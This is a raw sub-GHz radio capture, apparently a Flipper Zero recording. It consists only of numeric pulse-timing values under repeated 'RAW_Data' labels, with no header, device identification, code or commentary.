61 -364 156 -673 53 -425 55 -100 79 -930 118 -132 141 -222 71 -188 71 -506 91 -144 81 -134 113 -94 85 -60 92 -144 53 -157 51 -238 53 -68 195 -217 103 -106 61 -259 53 -412 61 -108 71 -318 185 -425 93 -270 53 -400 73 -213 132 -296 79 -294 63 -457 177 -270 59 -661 51 -52 111 -202 61 -54 53 -168 59 -82 116 -163 105 -1217 101 -90 63 -215 71 -195 169 -76 67 -98 81 -161 238 -136 75 -122 57 -120 59 -164 89 -78 89 -172 88 -166 99 -292 103 -138 83 -74 135 -157 84 -236 55 -120 164 -199 103 -281 51 -149 103 -52 73 -238 51 -90 178 -290 113 -129 59 -82 142 -100 167 -52 237 -54 122 -90 227 -74 313 -54 272 -152 61 -52 265 -64 73 -106 186 -80 101 -68 82 -139 83 -106 307 -139 124 -166 63 -147 102 -54 253 -87 348 -78 93 -328 125 -387 69 -373 97 -167 99 -68 219 -183 89 -204 142 -125 63 -177 87 -215 165 -105 215 -154 89 -105 81 -68 59 -297 156 -54 124 -446 79 -52 270 -54 87 -293 315 -58 85 -116 73 -54 236 -54 79 -88 63 -199 153 -60 224 -74 55 -154 73 -282 89 -72 191 -111 88 -124 140 -186 91 -123 67 -193 298 -72 124 -251 142 -116 53 -171 131 -152 51 -264 140 -108 61 -54 79 -232 65 -258 51 -151 53 -534 75 -557 74 -52 59 -178 107 -62 61 -329 228 -533 51 -664 75 -173 89 -110 235 -98 61 -118 53 -284 55 -505 67 -86 77 -150 93 -474 53 -324 81 -788 87 -165 63 -90 129 -355 69 -114 53 -82 51 -72 258 -90 51 -173 53 -410 59 -88 95 -297 -RAW_Data: 73 -536 53 -260 63 -997 99 -72 79 -160 77 -182 59 -296 59 -287 51 -299 53 -392 78 -280 161 -192 51 -484 74 -793 53 -170 63 -72 69 -252 65 -524 152 -192 63 -223 53 -507 57 -172 104 -629 63 -64 53 -287 75 -130 63 -253 65 -325 125 -311 53 -714 122 -62 123 -104 63 -151 71 -788 127 -258 228 -180 87 -655 150 -226 109 -146 51 -116 53 -290 57 -434 90 -197 114 -144 63 -68 121 -369 171 -179 61 -92 59 -274 83 -70 51 -226 73 -395 69 -125 91 -239 63 -324 149 -175 53 -54 61 -356 53 -216 57 -207 53 -118 71 -195 59 -204 87 -1099 53 -100 53 -309 53 -126 61 -116 71 -92 53 -749 86 -271 51 -126 51 -206 91 -310 813 -56 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 -RAW_Data: 63 -64 61 -64 193 -102 53 -1000 59 -195 65 -1056 63 -345 51 -1471 67 -441 53 -72 51 -287 63 -126 57 -178 83 -150 143 -131 88 -94 53 -126 91 -98 69 -58 79 -403 89 -239 71 -108 120 -102 73 -129 71 -108 78 -135 75 -201 59 -573 55 -54 53 -290 53 -254 63 -70 131 -54 75 -136 59 -2291 195 -253 70 -239 71 -263 53 -106 126 -837 97 -288 51 -534 171 -394 53 -170 53 -303 80 -452 293 -280 59 -226 63 -115 51 -62 123 -54 51 -72 51 -76 105 -649 87 -875 114 -95 51 -301 53 -218 89 -128 59 -446 71 -502 59 -201 107 -172 69 -72 67 -116 79 -377 81 -76 119 -1300 61 -217 67 -62 61 -118 59 -687 67 -182 97 -128 51 -403 69 -108 51 -204 88 -281 113 -68 136 -329 123 -274 213 -153 63 -166 89 -62 53 -242 71 -149 81 -193 89 -311 71 -110 100 -664 221 -188 63 -268 51 -90 53 -211 61 -100 75 -86 88 -446 137 -70 53 -548 140 -132 205 -390 183 -802 139 -483 193 -771 79 -131 51 -410 51 -112 87 -103 75 -180 59 -203 51 -189 109 -64 84 -64 87 -238 96 -765 70 -126 53 -519 108 -151 69 -471 227 -361 79 -76 51 -108 63 -768 1159 -56 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 127 -64 63 -126 127 -56 71 -126 63 -64 61 -64 63 -62 63 -64 63 -64 127 -64 61 -64 61 -64 63 -128 127 -64 63 -126 63 -64 61 -64 125 -130 63 -62 61 -64 63 -62 63 -64 127 -128 129 -120 133 -120 133 -56 69 -126 127 -128 127 -120 63 -62 133 -64 61 -64 61 -64 63 -64 63 -128 127 -64 61 -64 61 -64 61 -64 63 -64 63 -62 63 -64 63 -128 127 -64 63 -62 61 -128 63 -64 127 -128 63 -62 63 -62 127 -128 63 -64 61 -62 127 -130 63 -62 61 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -128 127 -56 69 -62 63 -64 61 -64 63 -64 63 -126 129 -128 127 -120 133 -56 69 -62 61 -64 63 -64 63 -128 127 -128 127 -128 61 -56 131 -64 63 -126 129 -128 63 -62 61 -62 127 -130 63 -62 125 -64 63 -128 127 -56 69 -62 -RAW_Data: 63 -128 63 -64 125 -64 63 -64 61 -64 61 -64 63 -64 63 -128 127 -128 63 -62 321 -72 59 -232 79 -142 51 -273 53 -62 65 -201 97 -112 209 -552 81 -535 153 -88 106 -90 126 -287 99 -568 89 -300 79 -72 96 -89 53 -229 53 -292 51 -76 133 -97 51 -482 53 -202 67 -229 89 -327 51 -156 59 -74 51 -90 61 -278 89 -140 141 -58 53 -308 59 -1502 53 -454 59 -325 88 -68 59 -105 59 -457 53 -382 63 -62 63 -80 69 -88 149 -52 53 -98 71 -154 51 -712 65 -260 93 -224 174 -247 53 -585 53 -297 135 -418 79 -120 123 -80 120 -144 51 -52 59 -150 200 -109 87 -90 59 -170 61 -497 69 -162 85 -410 61 -86 107 -700 139 -72 71 -118 73 -237 234 -507 69 -132 112 -280 53 -776 129 -60 88 -573 69 -68 134 -204 73 -452 132 -222 53 -114 92 -144 53 -562 57 -98 65 -830 218 -324 176 -134 71 -172 91 -375 89 -409 63 -116 109 -150 73 -240 87 -206 71 -236 115 -171 79 -160 51 -266 71 -494 63 -54 114 -52 132 -285 53 -576 69 -1093 53 -72 87 -98 118 -233 250 -979 53 -424 87 -479 89 -377 51 -70 137 -302 61 -68 97 -411 69 -268 51 -477 81 -148 65 -736 135 -74 83 -330 107 -240 53 -98 148 -74 67 -77 53 -673 53 -484 53 -142 59 -52 92 -174 71 -149 89 -218 117 -273 59 -284 67 -365 81 -132 57 -105 157 -54 91 -97 59 -94 275 -116 59 -140 53 -98 67 -64 161 -223 61 -98 83 -148 105 -62 89 -223 134 -131 190 -227 61 -334 59 -126 241 -68 588 -117 108 -263 77 -335 179 -355 147 -98 265 -144 61 -198 51 -62 53 -125 97 -100 111 -70 81 -86 59 -157 61 -246 57 -249 129 -127 53 -78 108 -52 57 -470 159 -230 67 -436 71 -135 73 -112 59 -167 61 -470 106 -336 121 -195 89 -305 133 -184 71 -135 163 -112 118 -1490 61 -184 61 -146 169 -76 106 -300 59 -375 51 -94 59 -291 81 -361 61 -673 59 -221 97 -182 97 -594 95 -210 136 -111 90 -74 100 -176 53 -452 97 -164 51 -567 84 -122 105 -80 228 -62 53 -136 63 -168 88 -537 118 -304 53 -1186 77 -184 105 -446 59 -673 76 -144 73 -80 51 -878 59 -60 124 -173 51 -738 357 -249 67 -160 188 -52 53 -142 83 -259 109 -160 87 -443 63 -54 182 -62 69 -196 61 -333 132 -123 53 -60 88 -151 116 -881 53 -203 87 -246 85 -150 115 -528 78 -100 221 -595 97 -282 126 -246 53 -200 82 -288 138 -118 79 -62 -RAW_Data: 101 -566 88 -443 63 -254 144 -120 124 -84 89 -479 99 -68 55 -436 67 -151 94 -56 53 -787 110 -300 51 -270 137 -285 89 -369 71 -366 61 -176 79 -529 109 -718 61 -68 51 -72 59 -239 89 -168 59 -76 77 -246 130 -418 53 -241 51 -104 59 -312 124 -378 100 -74 114 -365 63 -62 89 -458 73 -56 73 -106 61 -241 106 -296 59 -308 61 -290 59 -231 139 -140 53 -180 59 -173 98 -313 157 -125 79 -64 115 -98 139 -129 75 -98 65 -112 81 -97 51 -240 77 -141 69 -68 104 -183 178 -116 61 -541 209 -186 61 -160 106 -171 65 -84 105 -68 61 -64 99 -60 53 -158 53 -108 53 -161 77 -186 226 -172 51 -75 205 -93 88 -98 102 -98 105 -180 140 -107 341 -56 89 -56 387 -60 103 -113 233 -54 57 -93 185 -123 83 -54 228 -84 51 -64 133 -74 249 -62 98 -108 51 -189 146 -72 107 -122 107 -107 61 -52 73 -110 102 -447 204 -187 81 -284 87 -70 90 -117 75 -97 252 -320 59 -80 144 -112 258 -106 162 -80 81 -130 71 -222 78 -64 123 -60 59 -54 63 -88 188 -54 53 -118 53 -433 63 -225 65 -303 79 -160 115 -184 53 -515 122 -108 53 -895 89 -194 101 -172 113 -153 71 -474 89 -365 51 -104 79 -105 202 -550 61 -353 73 -335 103 -420 59 -76 65 -369 55 -156 61 -361 59 -409 79 -628 81 -251 87 -88 59 -363 71 -100 87 -185 178 -182 119 -310 53 -184 124 -524 103 -158 65 -300 55 -176 96 -80 85 -88 106 -369 59 -88 89 -482 77 -144 67 -375 53 -176 76 -319 79 -90 71 -183 76 -577 95 -437 142 -375 77 -112 77 -486 53 -326 135 -231 205 -60 59 -64 53 -251 53 -182 51 -396 59 -174 96 -165 96 -390 71 -408 59 -54 53 -420 67 -173 137 -98 172 -141 105 -201 99 -130 73 -336 95 -368 122 -404 65 -339 65 -221 101 -291 126 -380 74 -158 69 -146 65 -114 110 -210 138 -52 148 -128 61 -397 61 -460 51 -373 160 -486 53 -454 91 -328 104 -633 85 -337 63 -247 55 -180 85 -363 63 -223 117 -728 81 -298 53 -486 130 -273 141 -106 125 -114 107 -110 71 -84 75 -418 71 -82 136 -698 65 -62 75 -112 53 -564 51 -246 57 -258 71 -310 63 -305 71 -72 65 -72 65 -167 79 -374 53 -240 83 -102 125 -120 136 -597 174 -126 53 -230 63 -486 55 -375 55 -60 59 -353 213 -251 97 -265 143 -600 61 -519 87 -373 81 -438 53 -1003 53 -367 59 -54 53 -147 53 -586 53 -250 449 -233 59 -56 -RAW_Data: 135 -253 75 -52 81 -708 79 -54 51 -388 61 -78 87 -302 208 -547 53 -223 89 -104 53 -365 179 -761 81 -319 83 -552 107 -206 53 -80 142 -62 81 -521 53 -952 89 -1248 93 -229 81 -128 75 -54 61 -118 53 -82 92 -90 90 -56 57 -789 115 -192 96 -144 104 -180 67 -1247 76 -268 122 -141 57 -228 71 -767 174 -82 73 -148 65 -82 93 -320 117 -804 67 -54 59 -302 89 -495 51 -240 53 -54 61 -215 53 -601 59 -739 99 -52 110 -104 75 -84 61 -206 53 -356 53 -218 77 -88 65 -315 166 -215 53 -617 67 -96 106 -72 98 -491 93 -73 53 -416 91 -114 51 -965 53 -178 53 -258 55 -222 65 -788 53 -255 77 -252 361 -190 81 -98 61 -121 133 -396 107 -259 79 -363 96 -118 53 -609 67 -107 61 -178 143 -108 51 -208 160 -303 61 -158 202 -323 79 -209 51 -84 63 -332 67 -649 69 -226 103 -191 103 -58 73 -72 136 -126 165 -565 71 -148 63 -122 125 -122 111 -302 51 -160 59 -56 75 -562 126 -78 83 -80 88 -325 51 -92 113 -438 99 -518 63 -108 69 -634 61 -394 57 -104 111 -231 73 -149 79 -530 53 -223 110 -86 88 -1350 67 -98 125 -448 85 -243 59 -168 83 -599 77 -413 121 -497 63 -264 57 -92 63 -333 53 -282 104 -60 171 -322 71 -126 67 -333 156 -179 111 -243 97 -60 95 -155 53 -222 53 -170 53 -236 51 -630 53 -701 142 -223 146 -144 89 -831 75 -267 89 -272 83 -368 65 -262 77 -259 91 -90 89 -323 118 -118 172 -202 63 -643 97 -244 107 -146 73 -204 57 -381 59 -342 176 -962 160 -100 57 -683 53 -241 228 -86 53 -126 79 -395 141 -323 61 -637 135 -120 162 -975 104 -119 59 -505 53 -60 85 -54 97 -169 75 -505 133 -140 139 -200 71 -420 73 -104 53 -574 76 -312 111 -103 103 -152 59 -155 59 -92 140 -226 71 -802 81 -296 53 -209 169 -357 53 -84 53 -628 61 -244 63 -358 127 -215 73 -518 162 -184 87 -124 74 -151 88 -394 61 -94 53 -133 65 -106 107 -216 51 -237 79 -66 107 -224 121 -1047 79 -427 83 -88 132 -341 63 -265 61 -355 51 -507 63 -204 178 -262 133 -178 184 -206 115 -857 51 -148 231 -150 61 -146 59 -188 84 -70 53 -393 59 -349 51 -232 57 -70 97 -314 71 -161 53 -72 71 -54 53 -337 67 -402 78 -763 119 -60 103 -146 87 -78 71 -235 51 -831 97 -535 195 -140 114 -107 123 -158 61 -112 79 -946 51 -120 98 -261 100 -171 65 -633 233 -106 161 -287 -RAW_Data: 51 -142 81 -494 55 -70 85 -658 57 -68 73 -83 75 -60 134 -245 134 -70 57 -231 89 -76 95 -141 75 -739 131 -118 61 -314 63 -186 131 -128 81 -257 71 -80 53 -320 71 -98 53 -212 65 -200 63 -104 112 -130 71 -412 71 -977 51 -75 71 -100 51 -399 304 -359 113 -154 81 -148 61 -240 115 -152 100 -108 128 -1182 82 -287 63 -840 77 -527 75 -112 51 -112 59 -763 95 -147 75 -881 57 -144 95 -84 89 -197 111 -659 51 -940 88 -317 65 -52 67 -722 77 -124 55 -92 183 -201 157 -1082 82 -306 69 -90 78 -249 102 -90 130 -136 51 -293 63 -90 87 -62 53 -353 51 -90 93 -185 51 -208 57 -497 61 -164 97 -312 53 -660 113 -101 80 -112 57 -141 51 -849 59 -1271 61 -76 59 -453 51 -192 59 -60 53 -135 82 -218 170 -218 53 -78 81 -146 65 -196 57 -423 53 -146 107 -771 63 -242 61 -157 77 -105 159 -676 96 -491 73 -82 71 -939 67 -146 149 -455 101 -218 53 -420 106 -268 71 -90 195 -236 63 -158 51 -420 59 -108 75 -258 96 -251 59 -129 59 -254 63 -60 153 -90 53 -122 85 -128 92 -150 61 -54 57 -130 121 -264 63 -256 61 -136 106 -176 51 -291 51 -273 53 -331 81 -144 53 -62 51 -76 51 -300 57 -70 99 -249 57 -62 104 -258 106 -126 130 -106 63 -122 51 -247 131 -160 106 -125 117 -576 151 -126 63 -436 79 -236 61 -434 158 -805 182 -298 95 -90 124 -98 117 -216 75 -269 117 -419 61 -323 178 -447 156 -118 53 -223 51 -315 67 -110 99 -618 223 -104 180 -386 71 -737 112 -159 96 -144 123 -557 158 -130 142 -116 81 -336 67 -90 53 -162 67 -159 53 -497 53 -225 104 -170 53 -90 125 -552 98 -172 79 -64 53 -325 71 -72 89 -179 105 -1052 61 -218 123 -167 59 -196 123 -347 177 -90 53 -212 57 -310 67 -223 51 -114 85 -108 63 -186 53 -52 51 -570 150 -86 53 -106 65 -322 67 -382 53 -504 88 -60 77 -318 67 -320 53 -153 51 -655 59 -168 59 -253 61 -60 179 -362 75 -58 93 -296 71 -183 79 -210 97 -416 53 -514 91 -82 59 -210 57 -203 93 -269 71 -186 53 -235 63 -133 129 -74 53 -144 160 -102 106 -639 57 -987 51 -122 57 -535 61 -492 55 -96 55 -244 122 -142 57 -827 81 -380 63 -313 67 -405 69 -120 63 -198 113 -406 53 -687 79 -210 161 -112 99 -54 129 -205 59 -132 53 -207 172 -703 59 -229 122 -178 183 -305 97 -482 142 -106 119 -246 53 -740 79 -226 -RAW_Data: 79 -235 53 -320 61 -82 87 -278 92 -464 71 -586 67 -291 53 -68 118 -521 51 -70 55 -90 75 -145 110 -256 59 -209 141 -289 71 -179 67 -567 130 -80 51 -402 106 -403 83 -70 79 -336 99 -274 106 -189 107 -98 63 -105 98 -74 97 -615 120 -449 176 -268 104 -485 77 -186 77 -254 51 -224 61 -267 55 -287 79 -62 53 -180 87 -252 78 -560 53 -200 146 -359 79 -214 65 -90 51 -154 61 -259 89 -90 72 -188 144 -162 63 -448 55 -69 245 -526 79 -90 69 -128 89 -245 61 -256 71 -84 51 -104 107 -814 112 -487 97 -170 71 -128 79 -88 61 -749 85 -802 89 -373 83 -165 53 -66 55 -417 67 -70 80 -368 81 -184 170 -90 57 -122 149 -742 131 -160 138 -234 63 -72 61 -72 138 -203 114 -385 97 -175 89 -351 57 -203 71 -151 75 -341 63 -291 89 -130 57 -162 71 -147 232 -795 75 -273 61 -310 53 -114 51 -455 61 -495 53 -58 73 -253 107 -215 129 -237 65 -197 106 -444 59 -207 194 -82 102 -89 95 -104 169 -308 63 -240 83 -719 53 -492 69 -431 137 -160 150 -633 59 -151 118 -167 71 -100 83 -80 249 -374 63 -128 99 -93 65 -344 89 -106 69 -161 63 -606 95 -178 114 -90 63 -495 115 -623 133 -145 81 -438 59 -469 61 -549 65 -246 53 -80 53 -669 51 -72 73 -126 124 -272 130 -302 67 -70 61 -467 59 -122 51 -111 89 -151 134 -309 89 -158 63 -178 218 -363 59 -238 101 -249 51 -797 78 -398 53 -259 76 -245 69 -140 85 -188 79 -206 92 -150 111 -338 61 -236 121 -74 140 -64 61 -142 79 -356 61 -804 51 -324 99 -108 59 -216 81 -345 75 -106 84 -127 119 -350 59 -171 75 -54 53 -130 73 -1139 77 -74 81 -121 51 -277 53 -56 153 -238 67 -176 81 -251 75 -256 107 -434 73 -98 104 -451 123 -872 51 -60 53 -185 61 -244 71 -179 71 -169 150 -62 89 -255 185 -66 101 -204 105 -336 53 -284 53 -212 53 -175 131 -198 71 -62 89 -106 57 -1680 125 -140 53 -98 51 -472 86 -54 55 -155 127 -150 115 -232 69 -74 79 -66 53 -124 110 -377 71 -340 53 -97 106 -122 51 -283 59 -134 53 -435 53 -406 67 -213 53 -220 105 -136 59 -995 59 -54 53 -581 59 -273 53 -378 98 -312 53 -506 81 -105 135 -132 89 -78 83 -74 61 -282 67 -80 96 -168 53 -82 110 -471 85 -414 61 -456 55 -118 53 -677 51 -202 51 -62 67 -758 127 -74 136 -1191 189 -133 59 -528 51 -68 87 -161 61 -762 -RAW_Data: 71 -976 59 -219 1119 -56 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 201 -446 71 -269 86 -186 87 -246 88 -104 51 -80 140 -56 95 -1112 141 -224 71 -526 201 -112 123 -158 61 -312 53 -72 71 -72 71 -162 59 -866 53 -150 61 -86 67 -308 124 -229 69 -117 71 -54 78 -120 178 -1086 51 -404 77 -76 63 -452 65 -219 67 -64 61 -509 75 -316 107 -209 83 -287 173 -853 131 -208 98 -469 71 -143 77 -480 51 -150 89 -177 99 -405 242 -52 114 -188 73 -62 71 -1307 53 -142 53 -333 81 -405 59 -825 71 -90 87 -116 57 -66 53 -152 96 -495 211 -123 51 -282 55 -238 55 -304 89 -117 59 -306 57 -163 159 -142 85 -800 59 -102 80 -176 67 -364 94 -587 63 -93 71 -122 174 -296 61 -58 51 -626 -RAW_Data: 67 -276 61 -455 67 -220 79 -277 77 -86 106 -90 57 -176 61 -315 73 -267 53 -90 67 -188 123 -74 61 -136 51 -172 81 -172 59 -700 67 -82 87 -215 53 -344 55 -126 152 -941 106 -104 61 -510 116 -116 148 -134 51 -201 69 -202 63 -310 71 -369 120 -62 159 -460 53 -166 142 -385 93 -578 98 -116 67 -172 53 -304 67 -76 98 -581 141 -441 160 -587 53 -80 67 -214 1182 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 127 -64 61 -128 127 -56 71 -126 63 -64 61 -64 61 -64 63 -64 61 -64 127 -66 61 -64 61 -64 63 -126 129 -64 61 -128 63 -62 63 -62 127 -128 65 -62 61 -64 61 -64 63 -64 127 -128 63 -64 61 -62 127 -130 127 -56 69 -126 127 -128 127 -120 63 -62 131 -66 61 -64 61 -64 63 -62 63 -128 129 -64 61 -62 63 -62 63 -64 63 -64 61 -64 63 -64 63 -128 127 -64 61 -64 61 -128 63 -64 127 -128 63 -62 61 -64 125 -130 63 -62 63 -62 127 -128 63 -64 61 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 127 -64 63 -126 129 -64 61 -62 63 -62 63 -64 63 -64 61 -128 129 -64 61 -126 63 -64 63 -62 127 -64 63 -62 63 -62 63 -128 129 -64 61 -126 63 -64 61 -64 63 -64 61 -64 127 -64 63 -128 127 -128 63 -62 125 -64 63 -126 127 -58 69 -62 61 -128 65 -62 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 127 -128 65 -62 125 -128 63 -64 329 -196 51 -96 95 -301 51 -150 107 -82 145 -192 59 -148 67 -383 53 -518 53 -125 51 -577 120 -70 111 -177 51 -89 79 -720 75 -64 53 -88 53 -253 51 -90 96 -366 55 -282 53 -562 63 -113 135 -76 96 -174 61 -594 73 -320 130 -176 177 -116 188 -145 115 -160 71 -116 51 -136 105 -1045 153 -209 61 -54 89 -120 81 -510 53 -471 81 -272 88 -541 87 -296 96 -570 103 -60 51 -923 51 -300 75 -135 135 -54 87 -240 61 -600 101 -54 71 -124 149 -134 61 -241 134 -224 53 -100 53 -154 89 -255 51 -416 59 -203 53 -485 53 -165 93 -341 65 -226 117 -519 67 -469 73 -68 -RAW_Data: 53 -62 53 -442 107 -90 134 -68 67 -149 63 -681 68 -105 180 -403 53 -54 89 -62 91 -137 51 -219 135 -179 61 -72 93 -355 69 -379 69 -660 51 -845 107 -94 87 -107 59 -60 55 -222 79 -505 97 -737 101 -434 87 -747 174 -394 53 -124 59 -123 51 -359 53 -90 69 -176 114 -160 79 -494 77 -358 79 -229 59 -98 88 -545 152 -360 53 -155 67 -246 63 -234 53 -851 89 -54 53 -80 71 -160 97 -421 113 -108 99 -146 53 -72 171 -107 57 -143 59 -90 69 -216 61 -423 83 -62 153 -98 51 -408 116 -80 63 -106 138 -188 67 -149 180 -110 143 -140 311 -105 73 -76 183 -122 114 -108 79 -144 77 -317 160 -216 71 -172 77 -166 187 -68 111 -80 81 -131 206 -109 67 -82 63 -96 109 -152 71 -136 83 -74 93 -104 88 -82 69 -115 148 -117 252 -82 117 -323 177 -110 59 -60 138 -54 85 -136 200 -98 51 -68 364 -78 71 -187 159 -54 65 -75 163 -81 162 -52 139 -263 194 -80 71 -54 169 -86 81 -52 51 -102 81 -119 149 -153 71 -54 113 -288 524 -167 132 -82 71 -54 120 -86 407 -82 209 -107 217 -90 61 -88 127 -60 119 -226 81 -150 352 -143 96 -106 93 -566 70 -115 79 -58 101 -136 117 -182 141 -193 141 -172 106 -117 71 -80 53 -296 292 -155 157 -106 132 -60 119 -126 57 -313 71 -347 63 -136 57 -407 69 -148 107 -246 178 -176 61 -225 141 -84 69 -110 120 -108 53 -90 87 -70 71 -82 125 -133 157 -236 53 -179 65 -110 194 -259 124 -90 94 -604 275 -418 61 -478 51 -422 77 -413 95 -104 71 -82 51 -54 59 -311 115 -284 118 -237 135 -178 248 -287 94 -337 132 -226 104 -96 59 -209 95 -214 75 -905 187 -338 79 -207 59 -169 55 -563 51 -742 201 -266 98 -462 173 -116 53 -130 61 -363 71 -347 71 -180 80 -108 53 -82 51 -64 89 -239 51 -60 69 -134 53 -179 69 -168 55 -439 53 -567 101 -84 93 -189 147 -262 67 -619 85 -118 65 -72 168 -74 71 -269 96 -303 53 -92 51 -368 87 -467 63 -76 96 -703 87 -116 93 -180 51 -212 241 -82 148 -68 53 -90 51 -80 104 -142 143 -515 53 -880 127 -791 51 -372 85 -330 73 -363 69 -242 83 -92 73 -769 106 -483 81 -202 79 -371 113 -944 61 -176 98 -152 126 -88 75 -138 97 -590 51 -64 61 -128 51 -552 73 -89 97 -242 150 -167 101 -64 53 -58 188 -60 81 -95 87 -214 114 -354 59 -66 186 -188 122 -142 167 -122 74 -345 169 -54 -RAW_Data: 135 -98 123 -121 127 -188 84 -94 469 -97 186 -109 182 -318 71 -76 120 -92 154 -209 103 -355 130 -193 176 -154 124 -76 117 -140 138 -74 141 -107 124 -98 190 -169 53 -126 101 -90 87 -450 101 -169 67 -100 185 -100 138 -277 91 -79 112 -159 200 -90 245 -253 345 -78 53 -140 61 -90 171 -62 117 -261 51 -90 61 -132 53 -54 258 -84 283 -191 83 -52 149 -119 244 -56 95 -132 96 -108 87 -182 105 -871 202 -62 77 -286 51 -492 63 -106 61 -126 97 -303 132 -157 72 -68 98 -311 51 -150 71 -955 143 -122 63 -343 65 -90 98 -54 139 -146 119 -232 53 -232 51 -80 71 -418 63 -167 61 -252 81 -166 59 -688 59 -539 79 -90 149 -120 89 -176 86 -292 51 -698 53 -184 81 -98 63 -422 101 -1118 65 -142 65 -87 73 -58 67 -480 84 -683 143 -481 61 -82 59 -126 61 -80 87 -213 63 -727 83 -72 67 -208 77 -480 87 -130 78 -454 51 -108 53 -706 65 -54 95 -125 57 -442 71 -183 51 -434 84 -226 51 -790 91 -118 187 -381 77 -140 85 -433 62 -165 55 -104 55 -54 59 -314 53 -54 134 -112 63 -255 104 -90 113 -385 131 -433 59 -56 81 -414 106 -54 137 -132 99 -770 145 -167 51 -126 83 -324 126 -254 111 -244 63 -641 51 -184 141 -62 73 -466 59 -154 106 -87 53 -220 72 -77 53 -201 97 -82 97 -305 125 -249 126 -396 51 -150 59 -406 61 -212 158 -135 59 -120 96 -374 51 -104 273 -251 71 -370 87 -62 77 -188 105 -115 114 -447 53 -284 71 -295 81 -249 97 -102 123 -87 85 -141 206 -215 65 -94 53 -267 57 -78 53 -319 820 -56 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 